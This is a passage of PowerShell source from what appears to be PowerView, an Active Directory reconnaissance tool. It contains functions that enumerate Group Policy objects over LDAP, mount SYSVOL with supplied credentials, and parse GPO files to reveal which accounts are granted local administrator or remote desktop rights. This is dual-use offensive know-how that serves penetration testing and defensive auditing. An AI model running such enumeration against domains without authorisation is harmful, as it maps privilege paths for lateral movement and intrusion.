  12623     [OutputType('PowerView.GroupsXML')]
  12624     [CmdletBinding()]
  12625     Param (
  12626         [Parameter(Mandatory = $True, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  12627         [Alias('Path')]
  12628         [String]
  12629         $GroupsXMLPath,
  12630 
  12631         [Management.Automation.PSCredential]
  12632         [Management.Automation.CredentialAttribute()]
  12633         $Credential = [Management.Automation.PSCredential]::Empty
  12634     )
  12635 
  12636     BEGIN {
  12637         $MappedPaths = @{}
  12638     }
  12639 
  12640     PROCESS {
  12641         try {
  12642             if (($GroupsXMLPath -Match '\\\\.*\\.*') -and ($PSBoundParameters['Credential'])) {
  12643                 $SysVolPath = "\\$((New-Object System.Uri($GroupsXMLPath)).Host)\SYSVOL"
  12644                 if (-not $MappedPaths[$SysVolPath]) {
  12645                     # map IPC$ to this computer if it's not already
  12646                     Add-RemoteConnection -Path $SysVolPath -Credential $Credential
  12647                     $MappedPaths[$SysVolPath] = $True
  12648                 }
  12649             }
  12650 
  12651             [XML]$GroupsXMLcontent = Get-Content -Path $GroupsXMLPath -ErrorAction Stop
  12652 
  12653             # process all group properties in the XML
  12654             $GroupsXMLcontent | Select-Xml "/Groups/Group" | Select-Object -ExpandProperty node | ForEach-Object {
  12655 
  12656                 $Groupname = $_.Properties.groupName
  12657 
  12658                 # extract the localgroup sid for memberof
  12659                 $GroupSID = $_.Properties.groupSid
  12660                 if (-not $GroupSID) {
  12661                     if ($Groupname -match 'Administrators') {
  12662                         $GroupSID = 'S-1-5-32-544'
  12663                     }
  12664                     elseif ($Groupname -match 'Remote Desktop') {
  12665                         $GroupSID = 'S-1-5-32-555'
  12666                     }
  12667                     elseif ($Groupname -match 'Guests') {
  12668                         $GroupSID = 'S-1-5-32-546'
  12669                     }
  12670                     else {
  12671                         if ($PSBoundParameters['Credential']) {
  12672                             $GroupSID = ConvertTo-SID -ObjectName $Groupname -Credential $Credential
  12673                         }
  12674                         else {
  12675                             $GroupSID = ConvertTo-SID -ObjectName $Groupname
  12676                         }
  12677                     }
  12678                 }
  12679 
  12680                 # extract out members added to this group
  12681                 $Members = $_.Properties.members | Select-Object -ExpandProperty Member | Where-Object { $_.action -match 'ADD' } | ForEach-Object {
  12682                     if ($_.sid) { $_.sid }
  12683                     else { $_.name }
  12684                 }
  12685 
  12686                 if ($Members) {
  12687                     # extract out any/all filters...I hate you GPP
  12688                     if ($_.filters) {
  12689                         $Filters = $_.filters.GetEnumerator() | ForEach-Object {
  12690                             New-Object -TypeName PSObject -Property @{'Type' = $_.LocalName;'Value' = $_.name}
  12691                         }
  12692                     }
  12693                     else {
  12694                         $Filters = $Null
  12695                     }
  12696 
  12697                     if ($Members -isnot [System.Array]) { $Members = @($Members) }
  12698 
  12699                     $GroupsXML = New-Object PSObject
  12700                     $GroupsXML | Add-Member Noteproperty 'GPOPath' $TargetGroupsXMLPath
  12701                     $GroupsXML | Add-Member Noteproperty 'Filters' $Filters
  12702                     $GroupsXML | Add-Member Noteproperty 'GroupName' $GroupName
  12703                     $GroupsXML | Add-Member Noteproperty 'GroupSID' $GroupSID
  12704                     $GroupsXML | Add-Member Noteproperty 'GroupMemberOf' $Null
  12705                     $GroupsXML | Add-Member Noteproperty 'GroupMembers' $Members
  12706                     $GroupsXML.PSObject.TypeNames.Insert(0, 'PowerView.GroupsXML')
  12707                     $GroupsXML
  12708                 }
  12709             }
  12710         }
  12711         catch {
  12712             Write-Verbose "[Get-GroupsXML] Error parsing $TargetGroupsXMLPath : $_"
  12713         }
  12714     }
  12715 
  12716     END {
  12717         # remove the SYSVOL mappings
  12718         $MappedPaths.Keys | ForEach-Object { Remove-RemoteConnection -Path $_ }
  12719     }
  12720 }
  12721 
  12722 
  12723 function Get-DomainGPO {
  12724 <#
  12725 .SYNOPSIS
  12726 
  12727 Return all GPOs or specific GPO objects in AD.
  12728 
  12729 Author: Will Schroeder (@harmj0y)  
  12730 License: BSD 3-Clause  
  12731 Required Dependencies: Get-DomainSearcher, Get-DomainComputer, Get-DomainUser, Get-DomainOU, Get-NetComputerSiteName, Get-DomainSite, Get-DomainObject, Convert-LDAPProperty  
  12732 
  12733 .DESCRIPTION
  12734 
  12735 Builds a directory searcher object using Get-DomainSearcher, builds a custom
  12736 LDAP filter based on targeting/filter parameters, and searches for all objects
  12737 matching the criteria. To only return specific properties, use
  12738 "-Properties samaccountname,usnchanged,...". By default, all GPO objects for
  12739 the current domain are returned. To enumerate all GPOs that are applied to
  12740 a particular machine, use -ComputerName X.
  12741 
  12742 .PARAMETER Identity
  12743 
  12744 A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
  12745 GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
  12746 
  12747 .PARAMETER ComputerIdentity
  12748 
  12749 Return all GPO objects applied to a given computer identity (name, dnsname, DistinguishedName, etc.).
  12750 
  12751 .PARAMETER UserIdentity
  12752 
  12753 Return all GPO objects applied to a given user identity (name, SID, DistinguishedName, etc.).
  12754 
  12755 .PARAMETER Domain
  12756 
  12757 Specifies the domain to use for the query, defaults to the current domain.
  12758 
  12759 .PARAMETER LDAPFilter
  12760 
  12761 Specifies an LDAP query string that is used to filter Active Directory objects.
  12762 
  12763 .PARAMETER Properties
  12764 
  12765 Specifies the properties of the output object to retrieve from the server.
  12766 
  12767 .PARAMETER SearchBase
  12768 
  12769 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  12770 Useful for OU queries.
  12771 
  12772 .PARAMETER Server
  12773 
  12774 Specifies an Active Directory server (domain controller) to bind to.
  12775 
  12776 .PARAMETER SearchScope
  12777 
  12778 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  12779 
  12780 .PARAMETER ResultPageSize
  12781 
  12782 Specifies the PageSize to set for the LDAP searcher object.
  12783 
  12784 .PARAMETER ServerTimeLimit
  12785 
  12786 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  12787 
  12788 .PARAMETER SecurityMasks
  12789 
  12790 Specifies an option for examining security information of a directory object.
  12791 One of 'Dacl', 'Group', 'None', 'Owner', 'Sacl'.
  12792 
  12793 .PARAMETER Tombstone
  12794 
  12795 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  12796 
  12797 .PARAMETER FindOne
  12798 
  12799 Only return one result object.
  12800 
  12801 .PARAMETER Credential
  12802 
  12803 A [Management.Automation.PSCredential] object of alternate credentials
  12804 for connection to the target domain.
  12805 
  12806 .PARAMETER Raw
  12807 
  12808 Switch. Return raw results instead of translating the fields into a custom PSObject.
  12809 
  12810 .EXAMPLE
  12811 
  12812 Get-DomainGPO -Domain testlab.local
  12813 
  12814 Return all GPOs for the testlab.local domain
  12815 
  12816 .EXAMPLE
  12817 
  12818 Get-DomainGPO -ComputerName windows1.testlab.local
  12819 
  12820 Returns all GPOs applied windows1.testlab.local
  12821 
  12822 .EXAMPLE
  12823 
  12824 "{F260B76D-55C8-46C5-BEF1-9016DD98E272}","Test GPO" | Get-DomainGPO
  12825 
  12826 Return the GPOs with the name of "{F260B76D-55C8-46C5-BEF1-9016DD98E272}" and the display
  12827 name of "Test GPO"
  12828 
  12829 .EXAMPLE
  12830 
  12831 Get-DomainGPO -LDAPFilter '(!primarygroupid=513)' -Properties samaccountname,lastlogon
  12832 
  12833 .EXAMPLE
  12834 
  12835 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  12836 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  12837 Get-DomainGPO -Credential $Cred
  12838 
  12839 .OUTPUTS
  12840 
  12841 PowerView.GPO
  12842 
  12843 Custom PSObject with translated GPO property fields.
  12844 
  12845 PowerView.GPO.Raw
  12846 
  12847 The raw DirectoryServices.SearchResult object, if -Raw is enabled.
  12848 #>
  12849 
  12850     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  12851     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSUseDeclaredVarsMoreThanAssignments', '')]
  12852     [OutputType('PowerView.GPO')]
  12853     [OutputType('PowerView.GPO.Raw')]
  12854     [CmdletBinding(DefaultParameterSetName = 'None')]
  12855     Param(
  12856         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  12857         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
  12858         [String[]]
  12859         $Identity,
  12860 
  12861         [Parameter(ParameterSetName = 'ComputerIdentity')]
  12862         [Alias('ComputerName')]
  12863         [ValidateNotNullOrEmpty()]
  12864         [String]
  12865         $ComputerIdentity,
  12866 
  12867         [Parameter(ParameterSetName = 'UserIdentity')]
  12868         [Alias('UserName')]
  12869         [ValidateNotNullOrEmpty()]
  12870         [String]
  12871         $UserIdentity,
  12872 
  12873         [ValidateNotNullOrEmpty()]
  12874         [String]
  12875         $Domain,
  12876 
  12877         [ValidateNotNullOrEmpty()]
  12878         [Alias('Filter')]
  12879         [String]
  12880         $LDAPFilter,
  12881 
  12882         [ValidateNotNullOrEmpty()]
  12883         [String[]]
  12884         $Properties,
  12885 
  12886         [ValidateNotNullOrEmpty()]
  12887         [Alias('ADSPath')]
  12888         [String]
  12889         $SearchBase,
  12890 
  12891         [ValidateNotNullOrEmpty()]
  12892         [Alias('DomainController')]
  12893         [String]
  12894         $Server,
  12895 
  12896         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  12897         [String]
  12898         $SearchScope = 'Subtree',
  12899 
  12900         [ValidateRange(1, 10000)]
  12901         [Int]
  12902         $ResultPageSize = 200,
  12903 
  12904         [ValidateRange(1, 10000)]
  12905         [Int]
  12906         $ServerTimeLimit,
  12907 
  12908         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  12909         [String]
  12910         $SecurityMasks,
  12911 
  12912         [Switch]
  12913         $Tombstone,
  12914 
  12915         [Alias('ReturnOne')]
  12916         [Switch]
  12917         $FindOne,
  12918 
  12919         [Management.Automation.PSCredential]
  12920         [Management.Automation.CredentialAttribute()]
  12921         $Credential = [Management.Automation.PSCredential]::Empty,
  12922 
  12923         [Switch]
  12924         $Raw
  12925     )
  12926 
  12927     BEGIN {
  12928         $SearcherArguments = @{}
  12929         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  12930         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  12931         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  12932         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  12933         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  12934         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  12935         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  12936         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  12937         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  12938         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  12939         $GPOSearcher = Get-DomainSearcher @SearcherArguments
  12940     }
  12941 
  12942     PROCESS {
  12943         if ($GPOSearcher) {
  12944             if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
  12945                 $GPOAdsPaths = @()
  12946                 if ($SearcherArguments['Properties']) {
  12947                     $OldProperties = $SearcherArguments['Properties']
  12948                 }
  12949                 $SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
  12950                 $TargetComputerName = $Null
  12951 
  12952                 if ($PSBoundParameters['ComputerIdentity']) {
  12953                     $SearcherArguments['Identity'] = $ComputerIdentity
  12954                     $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
  12955                     if(-not $Computer) {
  12956                         Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
  12957                     }
  12958                     $ObjectDN = $Computer.distinguishedname
  12959                     $TargetComputerName = $Computer.dnshostname
  12960                 }
  12961                 else {
  12962                     $SearcherArguments['Identity'] = $UserIdentity
  12963                     $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
  12964                     if(-not $User) {
  12965                         Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
  12966                     }
  12967                     $ObjectDN = $User.distinguishedname
  12968                 }
  12969 
  12970                 # extract all OUs the target user/computer is a part of
  12971                 $ObjectOUs = @()
  12972                 $ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
  12973                     if($_.startswith('OU=')) {
  12974                         $ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
  12975                     }
  12976                 }
  12977                 Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
  12978 
  12979                 if ($ObjectOUs) {
  12980                     # find all the GPOs linked to the user/computer's OUs
  12981                     $SearcherArguments.Remove('Properties')
  12982                     $InheritanceDisabled = $False
  12983                     ForEach($ObjectOU in $ObjectOUs) {
  12984                         $SearcherArguments['Identity'] = $ObjectOU
  12985                         $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
  12986                             # extract any GPO links for this particular OU the computer is a part of
  12987                             if ($_.gplink) {
  12988                                 $_.gplink.split('][') | ForEach-Object {
  12989                                     if ($_.startswith('LDAP')) {
  12990                                         $Parts = $_.split(';')
  12991                                         $GpoDN = $Parts[0]
  12992                                         $Enforced = $Parts[1]
  12993 
  12994                                         if ($InheritanceDisabled) {
  12995                                             # if inheritance has already been disabled and this GPO is set as "enforced"
  12996                                             #   then add it, otherwise ignore it
  12997                                             if ($Enforced -eq 2) {
  12998                                                 $GpoDN
  12999                                             }
  13000                                         }
  13001                                         else {
  13002                                             # inheritance not marked as disabled yet
  13003                                             $GpoDN
  13004                                         }
  13005                                     }
  13006                                 }
  13007                             }
  13008 
  13009                             # if this OU has GPO inheritence disabled, break so additional OUs aren't processed
  13010                             if ($_.gpoptions -eq 1) {
  13011                                 $InheritanceDisabled = $True
  13012                             }
  13013                         }
  13014                     }
  13015                 }
  13016 
  13017                 if ($TargetComputerName) {
  13018                     # find all the GPOs linked to the computer's site
  13019                     $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
  13020                     if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
  13021                         $SearcherArguments['Identity'] = $ComputerSite
  13022                         $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
  13023                             if($_.gplink) {
  13024                                 # extract any GPO links for this particular site the computer is a part of
  13025                                 $_.gplink.split('][') | ForEach-Object {
  13026                                     if ($_.startswith('LDAP')) {
  13027                                         $_.split(';')[0]
  13028                                     }
  13029                                 }
  13030                             }
  13031                         }
  13032                     }
  13033                 }
  13034 
  13035                 # find any GPOs linked to the user/computer's domain
  13036                 $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
  13037                 $SearcherArguments.Remove('Identity')
  13038                 $SearcherArguments.Remove('Properties')
  13039                 $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
  13040                 $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
  13041                     if($_.gplink) {
  13042                         # extract any GPO links for this particular domain the computer is a part of
  13043                         $_.gplink.split('][') | ForEach-Object {
  13044                             if ($_.startswith('LDAP')) {
  13045                                 $_.split(';')[0]
  13046                             }
  13047                         }
  13048                     }
  13049                 }
  13050                 Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
  13051 
  13052                 # restore the old properites to return, if set
  13053                 if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
  13054                 else { $SearcherArguments.Remove('Properties') }
  13055                 $SearcherArguments.Remove('Identity')
  13056 
  13057                 $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
  13058                     # use the gplink as an ADS path to enumerate all GPOs for the computer
  13059                     $SearcherArguments['SearchBase'] = $_
  13060                     $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
  13061                     Get-DomainObject @SearcherArguments | ForEach-Object {
  13062                         if ($PSBoundParameters['Raw']) {
  13063                             $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
  13064                         }
  13065                         else {
  13066                             $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
  13067                         }
  13068                         $_
  13069                     }
  13070                 }
  13071             }
  13072             else {
  13073                 $IdentityFilter = ''
  13074                 $Filter = ''
  13075                 $Identity | Where-Object {$_} | ForEach-Object {
  13076                     $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  13077                     if ($IdentityInstance -match 'LDAP://|^CN=.*') {
  13078                         $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  13079                         if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  13080                             # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  13081                             #   and rebuild the domain searcher
  13082                             $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  13083                             Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  13084                             $SearcherArguments['Domain'] = $IdentityDomain
  13085                             $GPOSearcher = Get-DomainSearcher @SearcherArguments
  13086                             if (-not $GPOSearcher) {
  13087                                 Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
  13088                             }
  13089                         }
  13090                     }
  13091                     elseif ($IdentityInstance -match '{.*}') {
  13092                         $IdentityFilter += "(name=$IdentityInstance)"
  13093                     }
  13094                     else {
  13095                         try {
  13096                             $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
  13097                             $IdentityFilter += "(objectguid=$GuidByteString)"
  13098                         }
  13099                         catch {
  13100                             $IdentityFilter += "(displayname=$IdentityInstance)"
  13101                         }
  13102                     }
  13103                 }
  13104                 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  13105                     $Filter += "(|$IdentityFilter)"
  13106                 }
  13107 
  13108                 if ($PSBoundParameters['LDAPFilter']) {
  13109                     Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
  13110                     $Filter += "$LDAPFilter"
  13111                 }
  13112 
  13113                 $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
  13114                 Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
  13115 
  13116                 if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
  13117                 else { $Results = $GPOSearcher.FindAll() }
  13118                 $Results | Where-Object {$_} | ForEach-Object {
  13119                     if ($PSBoundParameters['Raw']) {
  13120                         # return raw result objects
  13121                         $GPO = $_
  13122                         $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
  13123                     }
  13124                     else {
  13125                         if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
  13126                             $GPO = Convert-LDAPProperty -Properties $_.Properties
  13127                             try {
  13128                                 $GPODN = $GPO.distinguishedname
  13129                                 $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  13130                                 $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
  13131                                 $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
  13132                             }
  13133                             catch {
  13134                                 Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
  13135                             }
  13136                         }
  13137                         else {
  13138                             $GPO = Convert-LDAPProperty -Properties $_.Properties
  13139                         }
  13140                         $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
  13141                     }
  13142                     $GPO
  13143                 }
  13144                 if ($Results) {
  13145                     try { $Results.dispose() }
  13146                     catch {
  13147                         Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
  13148                     }
  13149                 }
  13150                 $GPOSearcher.dispose()
  13151             }
  13152         }
  13153     }
  13154 }
  13155 
  13156 
  13157 function Get-DomainGPOLocalGroup {
  13158 <#
  13159 .SYNOPSIS
  13160 
  13161 Returns all GPOs in a domain that modify local group memberships through 'Restricted Groups'
  13162 or Group Policy preferences. Also return their user membership mappings, if they exist.
  13163 
  13164 Author: @harmj0y  
  13165 License: BSD 3-Clause  
  13166 Required Dependencies: Get-DomainGPO, Get-GptTmpl, Get-GroupsXML, ConvertTo-SID, ConvertFrom-SID  
  13167 
  13168 .DESCRIPTION
  13169 
  13170 First enumerates all GPOs in the current/target domain using Get-DomainGPO with passed
  13171 arguments, and for each GPO checks if 'Restricted Groups' are set with GptTmpl.inf or
  13172 group membership is set through Group Policy Preferences groups.xml files. For any
  13173 GptTmpl.inf files found, the file is parsed with Get-GptTmpl and any 'Group Membership'
  13174 section data is processed if present. Any found Groups.xml files are parsed with
  13175 Get-GroupsXML and those memberships are returned as well.
  13176 
  13177 .PARAMETER Identity
  13178 
  13179 A display name (e.g. 'Test GPO'), DistinguishedName (e.g. 'CN={F260B76D-55C8-46C5-BEF1-9016DD98E272},CN=Policies,CN=System,DC=testlab,DC=local'),
  13180 GUID (e.g. '10ec320d-3111-4ef4-8faf-8f14f4adc789'), or GPO name (e.g. '{F260B76D-55C8-46C5-BEF1-9016DD98E272}'). Wildcards accepted.
  13181 
  13182 .PARAMETER ResolveMembersToSIDs
  13183 
  13184 Switch. Indicates that any member names should be resolved to their domain SIDs.
  13185 
  13186 .PARAMETER Domain
  13187 
  13188 Specifies the domain to use for the query, defaults to the current domain.
  13189 
  13190 .PARAMETER LDAPFilter
  13191 
  13192 Specifies an LDAP query string that is used to filter Active Directory objects.
  13193 
  13194 .PARAMETER SearchBase
  13195 
  13196 The LDAP source to search through, e.g. "LDAP://OU=secret,DC=testlab,DC=local"
  13197 Useful for OU queries.
  13198 
  13199 .PARAMETER Server
  13200 
  13201 Specifies an Active Directory server (domain controller) to bind to.
  13202 
  13203 .PARAMETER SearchScope
  13204 
  13205 Specifies the scope to search under, Base/OneLevel/Subtree (default of Subtree).
  13206 
  13207 .PARAMETER ResultPageSize
  13208 
  13209 Specifies the PageSize to set for the LDAP searcher object.
  13210 
  13211 .PARAMETER ServerTimeLimit
  13212 
  13213 Specifies the maximum amount of time the server spends searching. Default of 120 seconds.
  13214 
  13215 .PARAMETER Tombstone
  13216 
  13217 Switch. Specifies that the searcher should also return deleted/tombstoned objects.
  13218 
  13219 .PARAMETER Credential
  13220 
  13221 A [Management.Automation.PSCredential] object of alternate credentials
  13222 for connection to the target domain.
  13223 
  13224 .EXAMPLE
  13225 
  13226 Get-DomainGPOLocalGroup
  13227 
  13228 Returns all local groups set by GPO along with their members and memberof.
  13229 
  13230 .EXAMPLE
  13231 
  13232 Get-DomainGPOLocalGroup -ResolveMembersToSIDs
  13233 
  13234 Returns all local groups set by GPO along with their members and memberof,
  13235 and resolve any members to their domain SIDs.
  13236 
  13237 .EXAMPLE
  13238 
  13239 '{0847C615-6C4E-4D45-A064-6001040CC21C}' | Get-DomainGPOLocalGroup
  13240 
  13241 Return any GPO-set groups for the GPO with the given name/GUID.
  13242 
  13243 .EXAMPLE
  13244 
  13245 Get-DomainGPOLocalGroup 'Desktops'
  13246 
  13247 Return any GPO-set groups for the GPO with the given display name.
  13248 
  13249 .EXAMPLE
  13250 
  13251 $SecPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  13252 $Cred = New-Object System.Management.Automation.PSCredential('TESTLAB\dfm.a', $SecPassword)
  13253 Get-DomainGPOLocalGroup -Credential $Cred
  13254 
  13255 .LINK
  13256 
  13257 https://morgansimonsenblog.azurewebsites.net/tag/groups/
  13258 #>
  13259 
  13260     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  13261     [OutputType('PowerView.GPOGroup')]
  13262     [CmdletBinding()]
  13263     Param(
  13264         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  13265         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
  13266         [String[]]
  13267         $Identity,
  13268 
  13269         [Switch]
  13270         $ResolveMembersToSIDs,
  13271 
  13272         [ValidateNotNullOrEmpty()]
  13273         [String]
  13274         $Domain,
  13275 
  13276         [ValidateNotNullOrEmpty()]
  13277         [Alias('Filter')]
  13278         [String]
  13279         $LDAPFilter,
  13280 
  13281         [ValidateNotNullOrEmpty()]
  13282         [Alias('ADSPath')]
  13283         [String]
  13284         $SearchBase,
  13285 
  13286         [ValidateNotNullOrEmpty()]
  13287         [Alias('DomainController')]
  13288         [String]
  13289         $Server,
  13290 
  13291         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  13292         [String]
  13293         $SearchScope = 'Subtree',
  13294 
  13295         [ValidateRange(1, 10000)]
  13296         [Int]
  13297         $ResultPageSize = 200,
  13298 
  13299         [ValidateRange(1, 10000)]
  13300         [Int]
  13301         $ServerTimeLimit,
  13302 
  13303         [Switch]
  13304         $Tombstone,
  13305 
  13306         [Management.Automation.PSCredential]
  13307         [Management.Automation.CredentialAttribute()]
  13308         $Credential = [Management.Automation.PSCredential]::Empty
  13309     )
  13310 
  13311     BEGIN {
  13312         $SearcherArguments = @{}
  13313         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  13314         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
  13315         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  13316         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  13317         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  13318         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  13319         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  13320         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  13321         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  13322 
  13323         $ConvertArguments = @{}
  13324         if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
  13325         if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
  13326         if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
  13327 
  13328         $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
  13329     }
  13330 
  13331     PROCESS {
  13332         if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
  13333 
  13334         Get-DomainGPO @SearcherArguments | ForEach-Object {
  13335             $GPOdisplayName = $_.displayname
  13336             $GPOname = $_.name
  13337             $GPOPath = $_.gpcfilesyspath
  13338 
  13339             $ParseArgs =  @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
  13340             if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
  13341 
  13342             # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
  13343             $Inf = Get-GptTmpl @ParseArgs
  13344 
  13345             if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
  13346                 $Memberships = @{}
  13347 
  13348                 # parse the members/memberof fields for each entry
  13349                 ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
  13350                     $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()}
  13351                     # extract out ALL members
  13352                     $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
  13353 
  13354                     if ($PSBoundParameters['ResolveMembersToSIDs']) {
  13355                         # if the resulting member is username and not a SID, attempt to resolve it
  13356                         $GroupMembers = @()
  13357                         ForEach ($Member in $MembershipValue) {
  13358                             if ($Member -and ($Member.Trim() -ne '')) {
  13359                                 if ($Member -notmatch '^S-1-.*') {
  13360                                     $ConvertToArguments = @{'ObjectName' = $Member}
  13361                                     if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
  13362                                     $MemberSID = ConvertTo-SID @ConvertToArguments
  13363 
  13364                                     if ($MemberSID) {
  13365                                         $GroupMembers += $MemberSID
  13366                                     }
  13367                                     else {
  13368                                         $GroupMembers += $Member
  13369                                     }
  13370                                 }
  13371                                 else {
  13372                                     $GroupMembers += $Member
  13373                                 }
  13374                             }
  13375                         }
  13376                         $MembershipValue = $GroupMembers
  13377                     }
  13378 
  13379                     if (-not $Memberships[$Group]) {
  13380                         $Memberships[$Group] = @{}
  13381                     }
  13382                     if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
  13383                     $Memberships[$Group].Add($Relation, $MembershipValue)
  13384                 }
  13385 
  13386                 ForEach ($Membership in $Memberships.GetEnumerator()) {
  13387                     if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
  13388                         # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
  13389                         $GroupSID = $Membership.Key.Trim('*')
  13390                         if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
  13391                             $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
  13392                         }
  13393                         else {
  13394                             $GroupName = $False
